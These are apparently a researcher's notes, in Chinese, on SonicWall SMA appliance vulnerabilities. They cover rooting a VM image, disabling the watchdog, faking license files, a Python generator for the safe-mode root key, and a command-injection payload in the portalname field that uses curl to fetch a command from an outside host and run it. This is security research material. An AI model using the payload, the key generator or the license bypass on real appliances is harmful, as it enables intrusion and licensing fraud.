SonicWall SMA 漏洞研究
SonicWall SMA漏洞研究
root access
本来想直接更改文件系统中的/etc/passwd 和 /etc/shadow 然后开启sshd获取root shell,但是修改后没有正常启动,经过分析发现固件启动时会更换内核及文件系统
因为需要对INITRD.gz 文件系统进行修改。可以挂载INITRD修改后对应的文件系统,然后使用guestmount挂载虚拟机磁盘并更新INITRD.gz。
sudo virt-filesystems -a old_sma.qcow2 ## find /dev/sda4
sudo guestmount -a old_sma.qcow2 -m /dev/sda4 rootfs
sudo su
cd rootfs
**cp cf/firmware/current/INITRD.GZ ../ # patch INITRD.GZ
cp ../INITRD.gz cf/firmware/current/INITRD.GZ
cd ..
guestunmount rootfs
修改INITRD.GZ
mkdir ramfs
sudo su
mount -t ext2 INITRD ramfs/
cd ramfs
echo '#!/bin/bash' > ./usr/src/EasyAccess/bin/graphd # delete graphd
vim etc/passwd
vim etc/EasyAccess/etc/shadow
cp ../busybox bin/
chmod 777 bin/busybox
vim etc/rc.d/rc.local # open telent
cd ..
umount ramfs
gzip -9 -f INITRD
关闭watchdog
开启telnetd
graphd
虽然获得了root权限,但是调试的时候,开启telnet或者ssh总会被断掉,但是可以看到类似日志的输出信息。security checking fail
对其逆向分析,发现确实会进行进程的检查,如果有非法进程则会将其kill掉,因为启动的bash每隔十分钟就会被kill
检查成功时的日志
watchdog
分析发现即使手动killall graphd,过一段时间仍然会被kill掉telnet进程,通过检索相关字符串,可以定位到watchdog会定期检查,httpd,graphd等进程是否在线如果不在线则会重新启动,但是不能直接kill掉watchdog,因为直接kill会导致机器重启
bypass
对于研究者来说,可以通过修改虚拟机镜像来实现,对于实际场景暂时没有想到比较好的处理方式。对于系统镜像,可以修改/etc/rc.d/rc.sysinit将watchdog启动的部分注释掉,同时修改graphd为一个空程序。
License Patch
经过逆向发现对于license的检查都是通过libsys.so实现的
检查发现都是对文件内容进行检查
依次建立对应的文件,并写入相应的内容
echo "TRUE" > /var/license/Analyzer
echo "1" > /var/license/WAFTService
echo "1" > /var/license/GeoIPBotnetService
echo "1" > /var/license/WAFService
echo "1" > /var/license/GeoIPBotnetService
echo "TRUE" > /var/license/ViewPoint
echo "10" > /tmp/captureatp
echo "10" > /var/license/VirtualAssist
echo "10" > /var/license/spikeLicenseActive
echo "10" > /var/license/spikeLicenseCount
echo "10" > /var/license/userLicense
echo "1" > /etc/EasyAccess/var/license/OPSWATLicense
echo "TRUE" > /var/license/CSC
攻击面分析
Apache 2.4.38 httpd组件,但未启用
硬编码
文件hash是被加密的
但是有什么用呢?
非常鸡肋的一个硬编码,safemode下使用root进行登录需要输入一个sec_key才能进入bash
key的生成逻辑比较简单,利用随机数生成
在check_key中对随机生成的key,进行了运算然后与用户输入进行对比
运算逻辑如下
构造key的生成脚本
import hashlib
import base64
def calc_key(a1):
s = a1 + "!@%#gDSF$@!#FE@#DF@"
digest = hashlib.sha1(s.encode()).digest()
ptr = base64.b64encode(digest[:16])
key = ""
hex_tab = "0123456789ABCDEF"
for i in range(10):
b = ptr[i+2]
idx = (13*b) % 16
key += hex_tab[idx]
return key
SQL注入
虽然很多命令执行的点被patch了,但是对sql语句的限制貌似比较少,例如在增加bookmarks时,没有限制很多
但是不起作用?需要调试一下
经过测试单引号和双引号会被转义,转义方式为
' ==> ''
" ==> \"
httpd 调试cgi
首先配置单例模式
重启httpd后发现只有一个worker进程
使用gdbserver调试
/tmp/gdbserver 192.168.1.106:2345 --attach 8863
set sysroot .
set follow-fork-mode child
set detach-on-fork off
catch exec
target remote 192.168.1.106:2345
c
b *0x804A033
但是地址会跑飞
历史漏洞
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0018
经过检查发现大多数文件会使用system_s_xxx等函数而此类函数都会进行校验,因此无法实现命令执行
因此思路进行转换,考虑没有出现过滤的命令执行点,这里先对popen进行了检索
经过分析,发现只有getFileMd5String有潜在的问题
发现在management中存在调用
获取portalname然后进行拼接执行命令
类比getportalname查找setportalname,对应sitecustomization
逆向发现会对portalname进行url编码
但是编码的时候并没有限制死可能的命令执行点
因此可以考虑使用这些字符进行构造命令执行,新版本中的修复方式是增加对potalname的校验
使用
$($(curl${IFS}192.168.1.2))
实现命令执行
其中
$(curl${IFS}192.168.1.2)
会进行访问192.168.1.2并得到一条命令,将此命令用
$()
包裹起来实现命令执行